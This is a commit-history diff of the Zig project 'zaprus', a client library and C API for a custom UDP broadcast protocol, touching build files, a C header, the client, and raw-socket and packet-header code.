8 Commits

Author SHA1 Message Date
180babae15 Big changes to the C api implementations
Should map directly to the zig struct instead of mallocing
2025-04-27 16:18:48 -04:00
fe1c735026 Add C to Zig converter
Further simplify struct
2025-04-27 16:18:48 -04:00
444f4868d5 Make C struct match the binary API more closely
Also make the internal conversion function return errors properly
2025-04-27 16:18:48 -04:00
ef33d2aec8 Convert from Zig struct to C struct 2025-04-27 16:18:48 -04:00
733deeb6e1 use InstallHeader function to install the header 2025-04-27 16:18:48 -04:00
8540dfb5b9 successfully build c interface 2025-04-27 16:18:48 -04:00
247c6b4407 Initial C api 2025-04-27 16:18:48 -04:00
e847989592 Use FAIL as the default dest if unable to parse 2025-04-27 16:18:48 -04:00
11 changed files with 594 additions and 1101 deletions

200
build.zig
View File

@@ -1,129 +1,88 @@
const std = @import("std"); const std = @import("std");
const Step = std.Build.Step;
// Although this function looks imperative, it does not perform the build // Although this function looks imperative, note that its job is to
// directly and instead it mutates the build graph (`b`) that will be then // declaratively construct a build graph that will be executed by an external
// executed by an external runner. The functions in `std.Build` implement a DSL // runner.
// for defining build steps and express dependencies between them, allowing the
// build runner to parallelize the build automatically (and the cache system to
// know when a step doesn't need to be re-run).
pub fn build(b: *std.Build) void { pub fn build(b: *std.Build) void {
// Standard target options allow the person running `zig build` to choose // Standard target options allows the person running `zig build` to choose
// what target to build for. Here we do not override the defaults, which // what target to build for. Here we do not override the defaults, which
// means any target is allowed, and the default is native. Other options // means any target is allowed, and the default is native. Other options
// for restricting supported target set are available. // for restricting supported target set are available.
const target = b.standardTargetOptions(.{}); const target = b.standardTargetOptions(.{});
// Standard optimization options allow the person running `zig build` to select // Standard optimization options allow the person running `zig build` to select
// between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not
// set a preferred release mode, allowing the user to decide how to optimize. // set a preferred release mode, allowing the user to decide how to optimize.
const optimize = b.standardOptimizeOption(.{}); const optimize = b.standardOptimizeOption(.{});
// It's also possible to define more custom flags to toggle optional features
// of this build script using `b.option()`. All defined flags (including
// target and optimize options) will be listed when running `zig build --help`
// in this directory.
// This creates a module, which represents a collection of source files alongside const lib_mod = b.createModule(.{
// some compilation options, such as optimization mode and linked system libraries.
// Zig modules are the preferred way of making Zig code available to consumers.
// addModule defines a module that we intend to make available for importing
// to our consumers. We must give it a name because a Zig package can expose
// multiple modules and consumers will need to be able to specify which
// module they want to access.
const mod = b.addModule("zaprus", .{
// The root source file is the "entry point" of this module. Users of
// this module will only be able to access public declarations contained
// in this file, which means that if you have declarations that you
// intend to expose to consumers that were defined in other files part
// of this module, you will have to make sure to re-export them from
// the root file.
.root_source_file = b.path("src/root.zig"), .root_source_file = b.path("src/root.zig"),
// Later on we'll use this module as the root module of a test executable
// which requires us to specify a target.
.target = target, .target = target,
.optimize = optimize,
}); });
// Create static library // We will also create a module for our other entry point, 'main.zig'.
const lib = b.addLibrary(.{ const exe_mod = b.createModule(.{
// `root_source_file` is the Zig "entry point" of the module. If a module
// only contains e.g. external object files, you can make this `null`.
// In this case the main source file is merely a path, however, in more
// complicated build scripts, this could be a generated file.
.root_source_file = b.path("src/main.zig"),
.target = target,
.optimize = optimize,
});
lib_mod.addImport("network", b.dependency("network", .{}).module("network"));
exe_mod.addImport("zaprus", lib_mod);
exe_mod.addImport("clap", b.dependency("clap", .{}).module("clap"));
const static_lib = b.addLibrary(.{
.linkage = .static,
.name = "zaprus", .name = "zaprus",
.root_module = b.createModule(.{ .root_module = lib_mod,
.root_source_file = b.path("src/c_api.zig"),
.target = target,
.optimize = optimize,
.link_libc = true,
.imports = &.{
.{ .name = "zaprus", .module = mod },
},
}),
}); });
static_lib.addIncludePath(.{ .cwd_relative = "include" });
static_lib.linkLibC();
b.installArtifact(lib); b.installArtifact(static_lib);
lib.installHeader(b.path("include/zaprus.h"), "zaprus.h");
// Here we define an executable. An executable needs to have a root module const dynamic_lib = b.addLibrary(.{
// which needs to expose a `main` function. While we could add a main function .linkage = .dynamic,
// to the module defined above, it's sometimes preferable to split business .name = "zaprus",
// logic and the CLI into two separate modules. .root_module = lib_mod,
// });
// If your goal is to create a Zig library for others to use, consider if dynamic_lib.addIncludePath(.{ .cwd_relative = "include" });
// it might benefit from also exposing a CLI tool. A parser library for a dynamic_lib.linkLibC();
// data serialization format could also bundle a CLI syntax checker, for example.
// b.installArtifact(dynamic_lib);
// If instead your goal is to create an executable, consider if users might
// be interested in also being able to embed the core functionality of your // C Headers
// program in their own executable in order to avoid the overhead involved in const c_header = b.addInstallHeaderFile(b.path("include/zaprus.h"), "zaprus.h");
// subprocessing your CLI tool. b.getInstallStep().dependOn(&c_header.step);
//
// If neither case applies to you, feel free to delete the declaration you // This creates another `std.Build.Step.Compile`, but this one builds an executable
// don't need and to put everything under a single module. // rather than a static library.
const exe = b.addExecutable(.{ const exe = b.addExecutable(.{
.name = "zaprus", .name = "zaprus",
.root_module = b.createModule(.{ .root_module = exe_mod,
// b.createModule defines a new module just like b.addModule but,
// unlike b.addModule, it does not expose the module to consumers of
// this package, which is why in this case we don't have to give it a name.
.root_source_file = b.path("src/main.zig"),
// Target and optimization levels must be explicitly wired in when
// defining an executable or library (in the root module), and you
// can also hardcode a specific target for an executable or library
// definition if desireable (e.g. firmware for embedded devices).
.target = target,
.optimize = optimize,
// List of modules available for import in source files part of the
// root module.
.imports = &.{
// Here "zaprus" is the name you will use in your source code to
// import this module (e.g. `@import("zaprus")`). The name is
// repeated because you are allowed to rename your imports, which
// can be extremely useful in case of collisions (which can happen
// importing modules from different packages).
.{ .name = "zaprus", .module = mod },
},
}),
}); });
// This declares intent for the executable to be installed into the // This declares intent for the executable to be installed into the
// install prefix when running `zig build` (i.e. when executing the default // standard location when the user invokes the "install" step (the default
// step). By default the install prefix is `zig-out/` but can be overridden // step when running `zig build`).
// by passing `--prefix` or `-p`.
b.installArtifact(exe); b.installArtifact(exe);
// This creates a top level step. Top level steps have a name and can be // This *creates* a Run step in the build graph, to be executed when another
// invoked by name when running `zig build` (e.g. `zig build run`). // step is evaluated that depends on it. The next line below will establish
// This will evaluate the `run` step rather than the default step. // such a dependency.
// For a top level step to actually do something, it must depend on other
// steps (e.g. a Run step, as we will see in a moment).
const run_step = b.step("run", "Run the app");
// This creates a RunArtifact step in the build graph. A RunArtifact step
// invokes an executable compiled by Zig. Steps will only be executed by the
// runner if invoked directly by the user (in the case of top level steps)
// or if another step depends on it, so it's up to you to define when and
// how this Run step will be executed. In our case we want to run it when
// the user runs `zig build run`, so we create a dependency link.
const run_cmd = b.addRunArtifact(exe); const run_cmd = b.addRunArtifact(exe);
run_step.dependOn(&run_cmd.step);
// By making the run step depend on the default step, it will be run from the // By making the run step depend on the install step, it will be run from the
// installation directory rather than directly from within the cache directory. // installation directory rather than directly from within the cache directory.
// This is not necessary, however, if the application depends on other installed
// files, this ensures they will be present and in the expected location.
run_cmd.step.dependOn(b.getInstallStep()); run_cmd.step.dependOn(b.getInstallStep());
// This allows the user to pass arguments to the application in the build // This allows the user to pass arguments to the application in the build
@@ -132,42 +91,21 @@ pub fn build(b: *std.Build) void {
run_cmd.addArgs(args); run_cmd.addArgs(args);
} }
// Creates an executable that will run `test` blocks from the provided module. // This creates a build step. It will be visible in the `zig build --help` menu,
// Here `mod` needs to define a target, which is why earlier we made sure to // and can be selected like this: `zig build run`
// set the releative field. // This will evaluate the `run` step rather than the default, which is "install".
const mod_tests = b.addTest(.{ const run_step = b.step("run", "Run the app");
.root_module = mod, run_step.dependOn(&run_cmd.step);
const exe_unit_tests = b.addTest(.{
.root_module = exe_mod,
}); });
// A run step that will run the test executable. const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests);
const run_mod_tests = b.addRunArtifact(mod_tests);
// Creates an executable that will run `test` blocks from the executable's // Similar to creating the run step earlier, this exposes a `test` step to
// root module. Note that test executables only test one module at a time, // the `zig build --help` menu, providing a way for the user to request
// hence why we have to create two separate ones. // running the unit tests.
const exe_tests = b.addTest(.{ const test_step = b.step("test", "Run unit tests");
.root_module = exe.root_module, test_step.dependOn(&run_exe_unit_tests.step);
});
// A run step that will run the second test executable.
const run_exe_tests = b.addRunArtifact(exe_tests);
// A top level step for running all tests. dependOn can be called multiple
// times and since the two run steps do not depend on one another, this will
// make the two of them run in parallel.
const test_step = b.step("test", "Run tests");
test_step.dependOn(&run_mod_tests.step);
test_step.dependOn(&run_exe_tests.step);
// Just like flags, top level steps are also listed in the `--help` menu.
//
// The Zig build system is entirely implemented in userland, which means
// that it cannot hook into private compiler APIs. All compilation work
// orchestrated by the build system will result in other Zig compiler
// subcommands being invoked with the right flags defined. You can observe
// these invocations when one fails (or you pass a flag to increase
// verbosity) to validate assumptions and diagnose problems.
//
// Lastly, the Zig build system is relatively simple and self-contained,
// and reading its source code will allow you to master it.
} }

View File

@@ -10,7 +10,7 @@
// This is a [Semantic Version](https://semver.org/). // This is a [Semantic Version](https://semver.org/).
// In a future version of Zig it will be used for package deduplication. // In a future version of Zig it will be used for package deduplication.
.version = "0.1.0", .version = "0.0.0",
// Together with name, this represents a globally unique package // Together with name, this represents a globally unique package
// identifier. This field is generated by the Zig toolchain when the // identifier. This field is generated by the Zig toolchain when the
@@ -28,14 +28,23 @@
// Tracks the earliest Zig version that the package considers to be a // Tracks the earliest Zig version that the package considers to be a
// supported use case. // supported use case.
.minimum_zig_version = "0.16.0", .minimum_zig_version = "0.14.0",
// This field is optional. // This field is optional.
// Each dependency must either provide a `url` and `hash`, or a `path`. // Each dependency must either provide a `url` and `hash`, or a `path`.
// `zig build --fetch` can be used to fetch all dependencies of a package, recursively. // `zig build --fetch` can be used to fetch all dependencies of a package, recursively.
// Once all dependencies are fetched, `zig build` no longer requires // Once all dependencies are fetched, `zig build` no longer requires
// internet connectivity. // internet connectivity.
.dependencies = .{}, .dependencies = .{
.network = .{
.url = "https://github.com/ikskuh/zig-network/archive/c76240d2240711a3dcbf1c0fb461d5d1f18be79a.zip",
.hash = "network-0.1.0-AAAAAOwlAQAQ6zKPUrsibdpGisxld9ftUKGdMvcCSpaj",
},
.clap = .{
.url = "git+https://github.com/Hejsil/zig-clap?ref=0.10.0#e47028deaefc2fb396d3d9e9f7bd776ae0b2a43a",
.hash = "clap-0.10.0-oBajB434AQBDh-Ei3YtoKIRxZacVPF1iSwp3IX_ZB8f0",
},
},
.paths = .{ .paths = .{
"build.zig", "build.zig",
"build.zig.zon", "build.zig.zon",

View File

@@ -1,33 +1,46 @@
#ifndef ZAPRUS_H // client
#define ZAPRUS_H
#include <stdint.h> #include<stdint.h>
#include <stdlib.h> #include<stdlib.h>
typedef void* zaprus_client; int zaprus_init(void);
typedef void* zaprus_connection;
// Returns NULL if there was an error. int zaprus_deinit(void);
zaprus_client zaprus_init_client(void);
void zaprus_deinit_client(zaprus_client client); int zaprus_send_relay(const char* payload, size_t len, char dest[4]);
// Returns 0 on success, else returns 1. int zaprus_send_initial_connection(const char* payload, size_t len, uint16_t initial_port);
int zaprus_client_send_relay(zaprus_client client, const char* payload, size_t payload_len, const char dest[4]);
// Returns NULL if there was an error. struct SaprusMessage* zaprus_connect(const char* payload, size_t len);
// Caller should call zaprus_deinit_connection when done with the connection.
zaprus_connection zaprus_connect(zaprus_client client, const char* payload, size_t payload_len);
void zaprus_deinit_connection(zaprus_connection connection); // message
#define SAPRUS_RELAY_MESSAGE_TYPE 0x003C
#define SAPRUS_FILE_TRANSFER_MESSAGE_TYPE 0x8888
#define SAPRUS_CONNECTION_MESSAGE_TYPE 0x00E9
// Capacity is the maximum length of the output buffer. struct SaprusMessage {
// out_len is modified to specify how much of the capacity is used by the response. uint16_t packet_type;
// Blocks until the next message is available, or returns 1 if the underlying socket times out. uint16_t payload_len;
// Returns 0 on success, else returns 1. union {
int zaprus_connection_next(zaprus_connection connection, char *out, size_t capacity, size_t *out_len); struct {
char dest[4];
} relay;
struct {
uint16_t src_port;
uint16_t dest_port;
uint32_t seq_num;
uint32_t msg_id;
char _reserved;
char options;
} connection;
} headers;
char *payload;
};
// Returns 0 on success, else returns 1. // ptr should be freed by the caller.
int zaprus_connection_send(zaprus_connection connection, const char *payload, size_t payload_len); int zaprus_message_to_bytes(struct SaprusMessage msg, char** ptr, size_t* len);
#endif // ZAPRUS_H // Return value should be destroyed with zaprus_message_deinit.
struct SaprusMessage* zaprus_message_from_bytes(const char* bytes, size_t len);
void zaprus_message_deinit(struct SaprusMessage* msg);

View File

@@ -1,146 +1,124 @@
const base64_enc = std.base64.standard.Encoder; var rand: ?Random = null;
const base64_dec = std.base64.standard.Decoder;
const Client = @This(); pub fn init() !void {
var prng = Random.DefaultPrng.init(blk: {
const max_message_size = 2048; var seed: u64 = undefined;
try posix.getrandom(mem.asBytes(&seed));
pub const max_payload_len = RawSocket.max_payload_len; break :blk seed;
});
socket: RawSocket, rand = prng.random();
try network.init();
pub fn init() !Client {
const socket: RawSocket = try .init();
return .{
.socket = socket,
};
} }
pub fn deinit(self: *Client) void { pub fn deinit() void {
self.socket.deinit(); network.deinit();
self.* = undefined;
} }
pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void { fn broadcastSaprusMessage(msg: SaprusMessage, udp_port: u16, allocator: Allocator) !void {
const io_source: std.Random.IoSource = .{ .io = io }; const msg_bytes = try msg.toBytes(allocator);
const rand = io_source.interface(); defer allocator.free(msg_bytes);
var headers: EthIpUdp = .{ var sock = try network.Socket.create(.ipv4, .udp);
.src_mac = self.socket.mac, defer sock.close();
.ip = .{
.id = rand.int(u16), try sock.setBroadcast(true);
.src_addr = 0, //rand.int(u32),
.dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }), // Bind to 0.0.0.0:0
.len = undefined, const bind_addr = network.EndPoint{
}, .address = network.Address{ .ipv4 = network.Address.IPv4.any },
.udp = .{ .port = 0,
.src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
.dst_port = 8888,
.len = undefined,
},
}; };
const relay: SaprusMessage = .{ const dest_addr = network.EndPoint{
.address = network.Address{ .ipv4 = network.Address.IPv4.broadcast },
.port = udp_port,
};
try sock.bind(bind_addr);
_ = try sock.sendTo(dest_addr, msg_bytes);
}
pub fn sendRelay(payload: []const u8, dest: [4]u8, allocator: Allocator) !void {
const msg = SaprusMessage{
.relay = .{ .relay = .{
.dest = .fromBytes(&dest), .header = .{ .dest = dest },
.payload = payload, .payload = payload,
}, },
}; };
var relay_buf: [max_message_size - (@bitSizeOf(EthIpUdp) / 8)]u8 = undefined; try broadcastSaprusMessage(msg, 8888, allocator);
const relay_bytes = relay.toBytes(&relay_buf);
headers.setPayloadLen(relay_bytes.len);
var msg_buf: [max_message_size]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch unreachable;
msg_w.writeAll(relay_bytes) catch unreachable;
const full_msg = msg_w.buffered();
try self.socket.send(full_msg);
} }
pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { fn randomPort() u16 {
const io_source: std.Random.IoSource = .{ .io = io }; var p: u16 = 0;
const rand = io_source.interface(); if (rand) |r| {
p = r.intRangeAtMost(u16, 1024, 65000);
} else unreachable;
var headers: EthIpUdp = .{ return p;
.src_mac = self.socket.mac, }
.ip = .{
.id = rand.int(u16),
.src_addr = 0, //rand.int(u32),
.dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
.len = undefined,
},
.udp = .{
.src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
.dst_port = 8888,
.len = undefined,
},
};
// udp dest port should not be 8888 after first pub fn sendInitialConnection(payload: []const u8, initial_port: u16, allocator: Allocator) !SaprusMessage {
const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16)); const dest_port = randomPort();
var connection: SaprusMessage = .{ const msg = SaprusMessage{
.connection = .{ .connection = .{
.src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), .header = .{
.dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), .src_port = initial_port,
.seq = undefined, .dest_port = dest_port,
.id = undefined, },
.payload = payload, .payload = payload,
}, },
}; };
log.debug("Setting bpf filter to port {}", .{connection.connection.src}); try broadcastSaprusMessage(msg, 8888, allocator);
self.socket.attachSaprusPortFilter(connection.connection.src) catch |err| {
log.err("Failed to set port filter: {t}", .{err});
return err;
};
log.debug("bpf set", .{});
var connection_buf: [2048]u8 = undefined; return msg;
var connection_bytes = connection.toBytes(&connection_buf);
headers.setPayloadLen(connection_bytes.len);
log.debug("Building full message", .{});
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch unreachable;
msg_w.writeAll(connection_bytes) catch unreachable;
var full_msg = msg_w.buffered();
log.debug("Built full message. Sending message", .{});
try self.socket.send(full_msg);
var res_buf: [4096]u8 = undefined;
log.debug("Awaiting handshake response", .{});
// Ignore response from sentinel, just accept that we got one.
_ = try self.socket.receive(&res_buf);
headers.udp.dst_port = udp_dest_port;
headers.ip.id = rand.int(u16);
headers.setPayloadLen(connection_bytes.len);
log.debug("Building final handshake message", .{});
msg_w.end = 0;
msg_w.writeAll(&headers.toBytes()) catch unreachable;
msg_w.writeAll(connection_bytes) catch unreachable;
full_msg = msg_w.buffered();
try self.socket.send(full_msg);
return .init(self.socket, headers, connection);
} }
const RawSocket = @import("./RawSocket.zig"); pub fn connect(payload: []const u8, allocator: Allocator) !SaprusMessage {
var initial_port: u16 = 0;
if (rand) |r| {
initial_port = r.intRangeAtMost(u16, 1024, 65000);
} else unreachable;
var initial_conn_res: ?SaprusMessage = null;
errdefer if (initial_conn_res) |c| c.deinit(allocator);
var sock = try network.Socket.create(.ipv4, .udp);
defer sock.close();
// Bind to 255.255.255.255:8888
const bind_addr = network.EndPoint{
.address = network.Address{ .ipv4 = network.Address.IPv4.broadcast },
.port = 8888,
};
// timeout 1s
try sock.setReadTimeout(1 * std.time.us_per_s);
try sock.bind(bind_addr);
const msg = try sendInitialConnection(payload, initial_port, allocator);
var response_buf: [4096]u8 = undefined;
_ = try sock.receive(&response_buf); // Ignore message that I sent.
const len = try sock.receive(&response_buf);
initial_conn_res = try SaprusMessage.fromBytes(response_buf[0..len], allocator);
// Complete handshake after awaiting response
try broadcastSaprusMessage(msg, randomPort(), allocator);
return initial_conn_res.?;
}
const SaprusMessage = @import("message.zig").Message; const SaprusMessage = @import("message.zig").Message;
const SaprusConnection = @import("Connection.zig");
const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
const std = @import("std"); const std = @import("std");
const Io = std.Io; const Random = std.Random;
const Writer = std.Io.Writer; const posix = std.posix;
const log = std.log; const mem = std.mem;
const network = @import("network");
const Allocator = mem.Allocator;

View File

@@ -1,61 +0,0 @@
socket: RawSocket,
headers: EthIpUdp,
connection: SaprusMessage,
const Connection = @This();
pub fn init(socket: RawSocket, headers: EthIpUdp, connection: SaprusMessage) Connection {
return .{
.socket = socket,
.headers = headers,
.connection = connection,
};
}
pub fn next(self: Connection, io: Io, buf: []u8) ![]const u8 {
_ = io;
log.debug("Awaiting connection message", .{});
const res = try self.socket.receive(buf);
log.debug("Received {} byte connection message", .{res.len});
const msg: SaprusMessage = try .parse(res[42..]);
const connection_res = msg.connection;
log.debug("Payload was {s}", .{connection_res.payload});
return connection_res.payload;
}
pub fn send(self: *Connection, io: Io, buf: []const u8) !void {
const io_source: std.Random.IoSource = .{ .io = io };
const rand = io_source.interface();
log.debug("Sending connection message", .{});
self.connection.connection.payload = buf;
var connection_bytes_buf: [2048]u8 = undefined;
const connection_bytes = self.connection.toBytes(&connection_bytes_buf);
self.headers.ip.id = rand.int(u16);
self.headers.setPayloadLen(connection_bytes.len);
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
try msg_w.writeAll(&self.headers.toBytes());
try msg_w.writeAll(connection_bytes);
const full_msg = msg_w.buffered();
try self.socket.send(full_msg);
log.debug("Sent {} byte connection message", .{full_msg.len});
}
const std = @import("std");
const Io = std.Io;
const Writer = std.Io.Writer;
const log = std.log;
const SaprusMessage = @import("./message.zig").Message;
const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
const RawSocket = @import("./RawSocket.zig");

View File

@@ -1,93 +0,0 @@
pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
// --- UDP (Last in memory, defined first for LSB->MSB) ---
udp: packed struct {
checksum: u16 = 0,
len: u16,
dst_port: u16,
src_port: u16,
},
// --- IP ---
ip: packed struct {
dst_addr: u32,
src_addr: u32,
header_checksum: u16 = 0,
protocol: u8 = 17, // udp
ttl: u8 = 0x40,
// fragment_offset (13 bits) + flags (3 bits) = 16 bits
// In Big Endian, flags are the high bits of the first byte.
// To have flags appear first in the stream, define them last here.
fragment_offset: u13 = 0,
flags: packed struct(u3) {
reserved: u1 = 0,
dont_fragment: u1 = 1,
more_fragments: u1 = 0,
} = .{},
id: u16,
len: u16,
tos: u8 = undefined,
// ip_version (4 bits) + ihl (4 bits) = 8 bits
// To have version appear first (high nibble), define it last.
ihl: u4 = 5,
ip_version: u4 = 4,
},
// --- Ethernet ---
eth_type: u16 = std.os.linux.ETH.P.IP,
src_mac: @Vector(6, u8),
dst_mac: @Vector(6, u8) = @splat(0xff),
pub fn toBytes(self: @This()) [336 / 8]u8 {
var res: [336 / 8]u8 = undefined;
var w: Writer = .fixed(&res);
w.writeStruct(self, .big) catch unreachable;
return res;
}
pub fn setPayloadLen(self: *@This(), len: usize) void {
self.ip.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8) + (@bitSizeOf(@TypeOf(self.ip)) / 8));
// Zero the checksum field before calculation
self.ip.header_checksum = 0;
// Serialize IP header to big-endian bytes
var ip_bytes: [@bitSizeOf(@TypeOf(self.ip)) / 8]u8 = undefined;
var w: Writer = .fixed(&ip_bytes);
w.writeStruct(self.ip, .big) catch unreachable;
// Calculate checksum over serialized bytes
self.ip.header_checksum = onesComplement16(&ip_bytes);
self.udp.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8));
}
};
fn onesComplement16(data: []const u8) u16 {
var sum: u32 = 0;
// Process pairs of bytes as 16-bit words
var i: usize = 0;
while (i + 1 < data.len) : (i += 2) {
const word: u16 = (@as(u16, data[i]) << 8) | data[i + 1];
sum += word;
}
// Handle odd byte if present
if (data.len % 2 == 1) {
sum += @as(u32, data[data.len - 1]) << 8;
}
// Fold 32-bit sum to 16 bits
while (sum >> 16 != 0) {
sum = (sum & 0xFFFF) + (sum >> 16);
}
// Return ones' complement
return ~@as(u16, @truncate(sum));
}
const std = @import("std");
const Writer = std.Io.Writer;

View File

@@ -1,167 +0,0 @@
const RawSocket = @This();
const is_debug = builtin.mode == .Debug;
fd: i32,
sockaddr_ll: std.posix.sockaddr.ll,
mac: [6]u8,
pub const max_payload_len = 1000;
const Ifconf = extern struct {
ifc_len: i32,
ifc_ifcu: extern union {
ifcu_buf: ?[*]u8,
ifcu_req: ?[*]std.os.linux.ifreq,
},
};
pub fn init() !RawSocket {
const socket: i32 = std.math.cast(i32, std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0)) orelse return error.SocketError;
if (socket < 0) return error.SocketError;
var ifreq_storage: [16]std.os.linux.ifreq = undefined;
var ifc = Ifconf{
.ifc_len = @sizeOf(@TypeOf(ifreq_storage)),
.ifc_ifcu = .{ .ifcu_req = &ifreq_storage },
};
if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFCONF, @intFromPtr(&ifc)) != 0) {
return error.NicError;
}
const count = @divExact(ifc.ifc_len, @sizeOf(std.os.linux.ifreq));
// Get the first non loopback interface
var ifr = for (ifreq_storage[0..@intCast(count)]) |*ifr| {
if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) == 0) {
if (ifr.ifru.flags.LOOPBACK) continue;
break ifr;
}
} else return error.NoInterfaceFound;
// 2. Get Interface Index
if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFINDEX, @intFromPtr(ifr)) != 0) {
return error.NicError;
}
const ifindex: i32 = ifr.ifru.ivalue;
// 3. Get Real MAC Address
if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFHWADDR, @intFromPtr(ifr)) != 0) {
return error.NicError;
}
var mac: [6]u8 = ifr.ifru.hwaddr.data[0..6].*;
if (builtin.cpu.arch.endian() == .little) std.mem.reverse(u8, &mac);
// 4. Set Flags (Promiscuous/Broadcast)
if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) != 0) {
return error.NicError;
}
ifr.ifru.flags.BROADCAST = true;
ifr.ifru.flags.PROMISC = true;
if (std.os.linux.ioctl(socket, std.os.linux.SIOCSIFFLAGS, @intFromPtr(ifr)) != 0) {
return error.NicError;
}
const sockaddr_ll = std.mem.zeroInit(std.posix.sockaddr.ll, .{
.family = std.posix.AF.PACKET,
.ifindex = ifindex,
.protocol = std.mem.nativeToBig(u16, @as(u16, std.os.linux.ETH.P.IP)),
});
const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll)));
if (bind_ret != 0) return error.BindError;
return .{
.fd = socket,
.sockaddr_ll = sockaddr_ll,
.mac = mac,
};
}
pub fn setTimeout(self: *RawSocket, sec: isize, usec: i64) !void {
const timeout: std.os.linux.timeval = .{ .sec = sec, .usec = usec };
const timeout_ret = std.os.linux.setsockopt(self.fd, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout)));
if (timeout_ret != 0) return error.SetTimeoutError;
}
pub fn deinit(self: *RawSocket) void {
_ = std.os.linux.close(self.fd);
self.* = undefined;
}
pub fn send(self: RawSocket, payload: []const u8) !void {
const sent_bytes = std.os.linux.sendto(
self.fd,
payload.ptr,
payload.len,
0,
@ptrCast(&self.sockaddr_ll),
@sizeOf(@TypeOf(self.sockaddr_ll)),
);
_ = sent_bytes;
}
pub fn receive(self: RawSocket, buf: []u8) ![]u8 {
const len = std.os.linux.recvfrom(
self.fd,
buf.ptr,
buf.len,
0,
null,
null,
);
if (std.os.linux.errno(len) != .SUCCESS) {
return error.Timeout; // TODO: get the real error, assume timeout for now.
}
return buf[0..len];
}
pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void {
const BPF = std.os.linux.BPF;
// BPF instruction structure for classic BPF
const SockFilter = extern struct {
code: u16,
jt: u8,
jf: u8,
k: u32,
};
const SockFprog = extern struct {
len: u16,
filter: [*]const SockFilter,
};
// Build the filter program
const filter = [_]SockFilter{
// Load 2 bytes at offset 46 (absolute)
.{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 46 },
// Jump if equal to port (skip 0 if true, skip 1 if false)
.{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, port) },
// Return 0xffff (pass)
.{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff },
// Return 0x0 (fail)
.{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 },
};
const fprog = SockFprog{
.len = filter.len,
.filter = &filter,
};
// Attach filter to socket using setsockopt
const rc = std.os.linux.setsockopt(
self.fd,
std.os.linux.SOL.SOCKET,
std.os.linux.SO.ATTACH_FILTER,
@ptrCast(&fprog),
@sizeOf(SockFprog),
);
if (rc != 0) {
return error.BpfAttachFailed;
}
}
const std = @import("std");
const builtin = @import("builtin");

View File

@@ -1,88 +1,126 @@
const c = @cImport({
@cInclude("zaprus.h");
});
fn zigToCMessage(msg: zaprus.Message) !c.SaprusMessage {
return switch (msg) {
.relay => |r| .{
.packet_type = @intFromEnum(msg),
.payload_len = @intCast(r.payload.len),
.headers = .{ .relay = .{
.dest = r.header.dest,
} },
.payload = @constCast(r.payload.ptr),
},
.connection => |con| .{
.packet_type = @intFromEnum(msg),
.payload_len = @intCast(con.payload.len),
.headers = .{ .connection = .{
.src_port = con.header.src_port,
.dest_port = con.header.dest_port,
.seq_num = con.header.seq_num,
.msg_id = con.header.msg_id,
._reserved = con.header.reserved,
.options = @bitCast(con.header.options),
} },
.payload = @constCast(con.payload.ptr),
},
.file_transfer => return zaprus.Error.NotImplementedSaprusType,
else => return zaprus.Error.UnknownSaprusType,
};
}
fn cToZigMessage(msg: c.SaprusMessage) !zaprus.Message {
const msg_type: zaprus.PacketType = @enumFromInt(msg.packet_type);
return switch (msg_type) {
.relay => .{
.relay = .{
.header = .{
.dest = msg.headers.relay.dest[0..4].*,
},
.payload = msg.payload[0..msg.payload_len],
},
},
.connection => .{
.connection = .{
.header = .{
.src_port = msg.headers.connection.src_port,
.dest_port = msg.headers.connection.dest_port,
.seq_num = msg.headers.connection.seq_num,
.msg_id = msg.headers.connection.msg_id,
.reserved = msg.headers.connection._reserved,
.options = @bitCast(msg.headers.connection.options),
},
.payload = msg.payload[0..msg.payload_len],
},
},
.file_transfer => return zaprus.Error.NotImplementedSaprusType,
else => return zaprus.Error.UnknownSaprusType,
};
}
// client
export fn zaprus_init() c_int {
SaprusClient.init() catch return 1;
return 0;
}
export fn zaprus_deinit() c_int {
SaprusClient.deinit();
return 0;
}
export fn zaprus_send_relay(payload: [*]const u8, len: usize, dest: [*]u8) c_int {
SaprusClient.sendRelay(payload[0..len], dest[0..4].*, allocator) catch return 1;
return 0;
}
export fn zaprus_send_initial_connection(payload: [*]const u8, len: usize, initial_port: u16) c_int {
_ = SaprusClient.sendInitialConnection(payload[0..len], initial_port, allocator) catch return 1;
return 0;
}
